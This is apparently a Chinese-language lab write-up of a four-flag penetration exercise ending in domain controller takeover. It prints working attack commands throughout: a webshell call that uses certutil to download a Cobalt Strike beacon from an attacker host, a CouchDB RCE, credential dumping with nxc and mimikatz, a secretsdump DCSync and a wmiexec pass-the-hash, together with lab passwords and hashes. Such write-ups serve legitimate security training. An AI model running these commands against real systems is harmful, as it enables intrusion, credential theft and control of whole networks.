CyberStrikeLab Lab13 渗透实战全流程详解
字数 3974
更新时间 2026-04-02 13:05:11

CyberStrikeLab Lab13 渗透实战教学文档

1. 靶场概述

本次渗透测试是一个内网渗透实战,攻击者从外网打点开始,通过一系列漏洞利用、横向移动和权限提升,逐步渗透至内网,最终接管域控制器。整个过程分为四个主要阶段,分别对应四个Flag的获取。

2. 初始入口获取 (Flag1)

目标: 从外网获得第一个立足点,获取Flag1。

步骤详解:

2.1 目标识别与信息收集

  • 目标地址: http://172.33.6.42
  • 技术点: CMS指纹识别。
  • 结果: 识别出目标网站使用cmseasy内容管理系统。

2.2 WebShell发现与利用

  • 技术点: 目录扫描。
  • 发现: 扫描到敏感后门文件 /command.php。访问该文件出现异常报错,可判定为遗留的WebShell。
  • 利用: 通过该WebShell执行远程命令。
  • Payload执行:
http://172.33.6.42/command.php?2025@cslab=system('certutil.exe -urlcache -split -f http://172.16.233.2:8848/cslab.exe cslab.exe')
  • 命令解析: 利用certutil.exe工具从攻击者控制的服务器(172.16.233.2:8848)下载名为cslab.exe的Cobalt Strike木马,并在目标服务器本地保存为同名文件。
  • 结果: 成功在目标机器上线Cobalt Strike (CS),获得初始控制权。

2.3 本地信息收集

  • 技术点: 在已控机器上抓取本地用户Hash。
  • 获取的Hash示例:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:02e1e3a44f84e3269721e1c6cab01dc5:::
DefaultAccount:503:...
Guest:501:...
  • 完成标志: 获取到第一个Flag (Flag1)。

3. 内网横向移动 - OA系统 (Flag2)

目标: 从已控的第一台主机,横向移动到内网OA服务器,获取Flag2。

3.1 内网探测

  • 发现: 在内网中发现IP地址172.55.2.23,其上运行着“信呼OA”系统。

3.2 漏洞利用 (默认弱口令 + 文件写入RCE)

  • 技术点: 默认口令攻击、OA系统漏洞利用。
  • 步骤:
  1. 登录: 使用默认账号xiaoqiao和密码123456成功登录OA系统,获取有效会话(PHPSESSID)。
  2. 漏洞分析: 利用OA系统的copymode功能存在缺陷,可写入恶意PHP文件。
  3. 利用原理: 通过构造特殊的name参数,在/webmain/model/flow/目录下生成一个包含恶意代码的PHP文件。该代码能通过HTTP Header中的CMD字段接收并执行系统命令。
  4. 利用脚本: 文档提供了一个完整的Python利用脚本(RCEShell类),核心功能包括:
    • setup(): 发送POST请求,利用copymode创建后门PHP文件。
    • execute(cmd): 通过访问生成的后门文件,并设置HTTP Header CMD: {command}来执行命令。

3.3 二次上线与权限提升

  • 技术点: 内网下载、本地提权。
  • 步骤:
  1. 下载木马: 在OA服务器的WebShell中,使用certutil.exe从攻击者内网主机(172.55.2.67)下载第二个Cobalt Strike木马(oa.exe)并执行,实现在OA服务器上线。
  2. 本地提权: 使用JuicyPotato (甜土豆) 或 SweetPotato 等工具,将获得的普通用户权限提升至NT AUTHORITY\SYSTEM权限。

3.4 凭据获取

  • 技术点: Hash抓取与破解。
  • 结果: 提权后抓取到OA服务器本地Administrator的NTLM Hash: 45f198df3dd08ded3493749819434962
  • 密码破解: 通过cmd5等在线网站查询,破解出明文密码为xinF1cs
  • 完成标志: 获取到第二个Flag (Flag2)。

4. 深入内网横向 - CouchDB利用 (Flag3)

目标: 以OA服务器为跳板,进一步向内网核心区域横向移动,获取Flag3。

4.1 内网资产探测

  • 技术点: 全端口扫描。
  • 工具: 使用fscan对内网进行扫描。
  • 关键发现:
  • 10.50.22.8 -> 域控制器 (DC)
  • 10.50.22.6 -> CouchDB 数据库服务器
  • 10.50.22.23 -> 已攻破的OA服务器

4.2 CouchDB漏洞利用 (CVE-2017-12635/12636)

  • 技术点: 未授权访问、权限绕过、远程代码执行。
  • 漏洞: CouchDB存在CVE-2017-12635(权限绕过)和CVE-2017-12636(RCE)漏洞。
  • 攻击流程:
  1. 创建管理员账户: 利用未授权访问或权限绕过漏洞,创建一个管理员账户。
  2. 写入query_servers: 通过新创建的管理员账户,向CouchDB配置中写入恶意命令到query_servers
  3. 触发RCE: 通过触发数据库查询等操作,使CouchDB执行query_servers中定义的恶意命令。
  • 利用结果: 成功在10.50.22.6 (CouchDB服务器) 上下载并执行第三个Cobalt Strike木马(333.exe),获得该服务器控制权。

4.3 凭据收集与横向移动

  • 技术点: Hash抓取、破解、RDP横向移动、共享访问。
  • 步骤:
  1. 在CouchDB服务器(10.50.22.6)上抓取本地Administrator Hash: 2de5cd0f15d1c070851d1044e1d95c90,破解得到明文密码qwe!@#123
  2. 利用此密码,通过RDP (远程桌面) 登录到OA服务器(10.50.22.23),发现一个已登录的域用户会话。
  3. 利用当前权限,直接读取域控制器(10.50.22.8)上的共享文件,获取Flag3: type \\10.50.22.8\C$\flag.txt

4.4 域凭据获取

  • 技术点: 信息搜集。
  • 发现: 在计划任务或系统日志中,发现了域用户凭据:用户名cslab,密码cs1ab@cs6

5. 域权限提升与域控接管 (Flag4)

目标: 利用已获取的域用户权限,提升至域管理员权限,最终完全控制域控制器。

5.1 权限分析与利用准备

  • 技术点: LDAP查询、备份权限。
  • 步骤:
  1. 导出凭据: 在CouchDB服务器(10.50.22.6)上,使用nxc (NetExec) 工具导出本地SAM和LSA Secrets。
    nxc smb 10.50.22.6 -u administrator -p qwe!@#123 --sam --lsa
    
  2. 权限确认: 使用ldapsearch查询域用户cslab的组成员关系,发现其属于Backup Operators(备份操作员)组。这是关键突破口,因为该组成员有权备份文件,可用于读取域控上的敏感注册表文件。

5.2 利用Backup Operators权限导出域控注册表

  • 技术点: 备份特权利用、文件复制。
  • 步骤:
  1. 导出注册表: 在已控的CouchDB服务器上,使用特定工具(如BOexp.exe),以域用户cslab的身份,从域控(10.50.22.8)导出SAMSYSTEMSECURITY三个关键注册表文件,保存到域控的C:\users\目录下。
    BOexp.exe -t \\DC.cyberstrike.lab -u cslab -p cs1ab@cs6 -d cyberstrike.lab -o c:\users
    
  2. 复制文件: 将导出的文件从域控复制到攻击者控制的CouchDB服务器上。
    copy \\10.50.22.8\C$\users\SAM C:\cslab_dump\
    copy \\10.50.22.8\C$\users\SYSTEM C:\cslab_dump\
    copy \\10.50.22.8\C$\users\SECURITY C:\cslab_dump\
    

5.3 提取机器账户Hash与DCSync攻击

  • 技术点: Mimikatz使用、机器账户Hash提取、DCSync攻击。
  • 步骤:
  1. 分析SECURITY文件: 使用Mimikatz解析SECURITY文件,提取出$MACHINE.ACC的NTLM Hash。这是域控制器的计算机账户Hash,是执行DCSync攻击的关键。
    mimikatz # lsadump::secrets /system:SYSTEM /security:SECURITY
    ...
    Secret : $MACHINE.ACC
    ...
    NTLM:94a4396913e548b06c7ba4257412f088
    
  2. 执行DCSync攻击: 利用获取到的域控制器机器账户Hash(:94a4396913e548b06c7ba4257412f088),通过secretsdump.py (Impacket套件工具) 模拟域控制器进行同步复制(DCSync),从而导出域内所有用户的Hash。
    secretsdump.py -hashes :94a4396913e548b06c7ba4257412f088 CYBERSTRIKE.LAB/DC\$@10.50.22.8
    
  3. 获取域管Hash: 从DCSync导出的结果中,获取域管理员Administrator的NTLM Hash: 28cfbc91020438f2a064a63fff9871fa

5.4 Pass-The-Hash (PTH) 接管域控

  • 技术点: 哈希传递攻击。
  • 最终攻击: 使用获取到的域管理员NTLM Hash,通过wmiexec.py (Impacket套件工具) 直接以域管理员身份在域控制器上执行命令,完成对域控的完全接管。
    python wmiexec.py -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrike.lab/Administrator@10.50.22.8
    
  • 完成标志: 成功获取域控权限及最终Flag4。

6. 关键知识点总结

  1. DSRM账户 vs 域管理员账户:

    • DSRM (Directory Services Restore Mode) Administrator: 是域控制器的本地应急恢复账户,密码在创建域控时手动设置,独立于域密码,仅在目录服务修复模式下使用。其Hash并非域管理员Hash
    • Domain Admin: 是域环境中的最高权限账户,可管理整个域。
    • 核心区别: 攻击初期获得的Administrator Hash很可能是DSRM账户的,无法直接用于域内横向移动,需区分。
  2. 完整提权链梳理:

    外网WebShell → CS上线 → 内网OA系统漏洞利用(RCE) → 本地提权(SYSTEM) → 内网扫描发现CouchDB → CouchDB未授权RCE → 凭据收集(本地Hash/域用户) → 发现Backup Operators权限 → 利用权限导出域控注册表(SAM/SYSTEM/SECURITY) → 提取机器账户Hash($MACHINE.ACC) → 利用机器账户Hash执行DCSync攻击 → 获取域管理员Hash → Pass-The-Hash拿下域控制器
    

7. 核心攻击路径提炼

本次渗透的核心攻击路径在于:Backup Operators组的文件备份权限,与域控制器计算机账户($MACHINE.ACC)的Hash相结合,最终通过DCSync攻击导出域内所有凭据,从而接管整个域。这是内网渗透中一条非常经典且高效的提权路径。

相似文章
相似文章
 全屏